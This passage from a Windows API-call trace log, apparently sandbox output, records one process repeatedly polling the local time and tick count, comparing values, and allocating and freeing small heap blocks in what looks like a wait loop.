pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.940] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.940] GetCurrentProcessId () returned 0x9e0 [0062.940] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.940] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.940] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.940] GetTickCount () returned 0x1146de0 [0062.940] GetTickCount () returned 0x1146de0 [0062.940] GetTickCount () returned 0x1146de0 [0062.940] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.940] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.940] GetTickCount () returned 0x1146de0 [0062.940] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x1dd)) [0062.941] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.941] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.941] GetCurrentProcessId () returned 0x9e0 [0062.941] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.941] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.941] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.941] GetTickCount () returned 0x1146de0 [0062.941] GetTickCount () returned 0x1146de0 [0062.941] GetTickCount () returned 0x1146de0 [0062.941] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.941] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.941] GetTickCount () returned 0x1146de0 [0062.956] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x1ed)) [0062.956] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.956] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.956] GetCurrentProcessId () returned 0x9e0 [0062.956] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.956] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.957] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.957] GetTickCount () returned 0x1146df0 [0062.957] GetTickCount () returned 0x1146df0 [0062.957] GetTickCount () returned 0x1146df0 [0062.957] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.957] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.957] GetTickCount () returned 0x1146df0 [0062.973] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x1fd)) [0062.973] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.973] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.974] GetCurrentProcessId () returned 0x9e0 [0062.974] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.974] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.974] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.974] GetTickCount () returned 0x1146dff [0062.974] GetTickCount () returned 0x1146dff [0062.974] GetTickCount () returned 0x1146dff [0062.974] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.974] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.974] GetTickCount () returned 0x1146dff [0062.986] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x20c)) [0062.986] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0062.986] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0062.986] GetCurrentProcessId () returned 0x9e0 [0062.986] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0062.986] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0062.986] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0062.986] GetTickCount () returned 0x1146e0f [0062.986] GetTickCount () returned 0x1146e0f [0062.986] GetTickCount () returned 0x1146e0f [0062.986] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0062.986] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0062.986] GetTickCount () returned 0x1146e0f [0063.001] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x21c)) [0063.002] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.002] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.002] GetCurrentProcessId () returned 0x9e0 [0063.002] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.002] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.002] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.002] GetTickCount () returned 0x1146e1f [0063.002] GetTickCount () returned 0x1146e1f [0063.002] GetTickCount () returned 0x1146e1f [0063.002] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.002] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.002] GetTickCount () returned 0x1146e1f [0063.002] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x21c)) [0063.002] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.002] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.003] GetCurrentProcessId () returned 0x9e0 [0063.003] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.003] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.003] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.003] GetTickCount () returned 0x1146e1f [0063.003] GetTickCount () returned 0x1146e1f [0063.003] GetTickCount () returned 0x1146e1f [0063.003] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.003] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.003] GetTickCount () returned 0x1146e1f [0063.009] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x21c)) [0063.009] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.009] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.009] GetCurrentProcessId () returned 0x9e0 [0063.009] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.009] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.009] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.009] GetTickCount () returned 0x1146e1f [0063.009] GetTickCount () returned 0x1146e1f [0063.009] GetTickCount () returned 0x1146e1f [0063.009] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.009] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.009] GetTickCount () returned 0x1146e1f [0063.033] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x23b)) [0063.033] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.033] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.033] GetCurrentProcessId () returned 0x9e0 [0063.033] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.033] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.033] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.033] GetTickCount () returned 0x1146e3e [0063.033] GetTickCount () returned 0x1146e3e [0063.033] GetTickCount () returned 0x1146e3e [0063.033] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.033] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.033] GetTickCount () returned 0x1146e3e [0063.064] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x25a)) [0063.065] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.065] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.065] GetCurrentProcessId () returned 0x9e0 [0063.065] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.065] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.065] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.065] GetTickCount () returned 0x1146e5d [0063.065] GetTickCount () returned 0x1146e5d [0063.065] GetTickCount () returned 0x1146e5d [0063.065] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.065] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.065] GetTickCount () returned 0x1146e5d [0063.090] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x26a)) [0063.090] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.090] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.090] GetCurrentProcessId () returned 0x9e0 [0063.090] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.090] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.090] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.090] GetTickCount () returned 0x1146e6d [0063.090] GetTickCount () returned 0x1146e6d [0063.091] GetTickCount () returned 0x1146e6d [0063.096] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.096] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.096] GetTickCount () returned 0x1146e7c [0063.105] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x279)) [0063.105] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.105] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.105] GetCurrentProcessId () returned 0x9e0 [0063.105] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.106] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.106] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.106] GetTickCount () returned 0x1146e7c [0063.106] GetTickCount () returned 0x1146e7c [0063.106] GetTickCount () returned 0x1146e7c [0063.106] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.106] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.106] GetTickCount () returned 0x1146e7c [0063.126] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x299)) [0063.127] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.127] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.127] GetCurrentProcessId () returned 0x9e0 [0063.127] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.127] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.127] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.127] GetTickCount () returned 0x1146e9b [0063.127] GetTickCount () returned 0x1146e9b [0063.127] GetTickCount () returned 0x1146e9b [0063.127] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.127] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.127] GetTickCount () returned 0x1146e9b [0063.132] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x299)) [0063.132] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.132] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.132] GetCurrentProcessId () returned 0x9e0 [0063.132] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.132] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.133] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.133] GetTickCount () returned 0x1146e9b [0063.133] GetTickCount () returned 0x1146e9b [0063.133] GetTickCount () returned 0x1146e9b [0063.133] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.133] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.133] GetTickCount () returned 0x1146e9b [0063.147] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x2a8)) [0063.148] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.148] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.148] GetCurrentProcessId () returned 0x9e0 [0063.148] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.148] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.148] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.148] GetTickCount () returned 0x1146eab [0063.148] GetTickCount () returned 0x1146eab [0063.148] GetTickCount () returned 0x1146eab [0063.148] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.148] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.148] GetTickCount () returned 0x1146eab [0063.158] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x2b8)) [0063.158] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.158] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.158] GetCurrentProcessId () returned 0x9e0 [0063.158] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.158] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.158] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.158] GetTickCount () returned 0x1146ebb [0063.158] GetTickCount () returned 0x1146ebb [0063.158] GetTickCount () returned 0x1146ebb [0063.158] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.158] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.158] GetTickCount () returned 0x1146ebb [0063.189] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x2d7)) [0063.190] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.190] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.191] GetCurrentProcessId () returned 0x9e0 [0063.191] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.191] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.191] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.191] GetTickCount () returned 0x1146eda [0063.191] GetTickCount () returned 0x1146eda [0063.191] GetTickCount () returned 0x1146eda [0063.191] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.191] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.191] GetTickCount () returned 0x1146eda [0063.220] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x2f6)) [0063.220] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.220] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.220] GetCurrentProcessId () returned 0x9e0 [0063.221] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.221] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.221] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.221] GetTickCount () returned 0x1146ef9 [0063.221] GetTickCount () returned 0x1146ef9 [0063.221] GetTickCount () returned 0x1146ef9 [0063.221] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.221] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.221] GetTickCount () returned 0x1146ef9 [0063.235] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x306)) [0063.236] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.236] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.236] GetCurrentProcessId () returned 0x9e0 [0063.236] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.236] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.236] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.236] GetTickCount () returned 0x1146f09 [0063.236] GetTickCount () returned 0x1146f09 [0063.236] GetTickCount () returned 0x1146f09 [0063.236] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.236] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.236] GetTickCount () returned 0x1146f09 [0063.251] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x315)) [0063.251] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.251] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.251] GetCurrentProcessId () returned 0x9e0 [0063.251] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.252] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.252] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.252] GetTickCount () returned 0x1146f18 [0063.252] GetTickCount () returned 0x1146f18 [0063.252] GetTickCount () returned 0x1146f18 [0063.252] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.252] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.252] GetTickCount () returned 0x1146f18 [0063.267] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x325)) [0063.267] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.267] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.267] GetCurrentProcessId () returned 0x9e0 [0063.267] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.267] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.267] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.267] GetTickCount () returned 0x1146f28 [0063.267] GetTickCount () 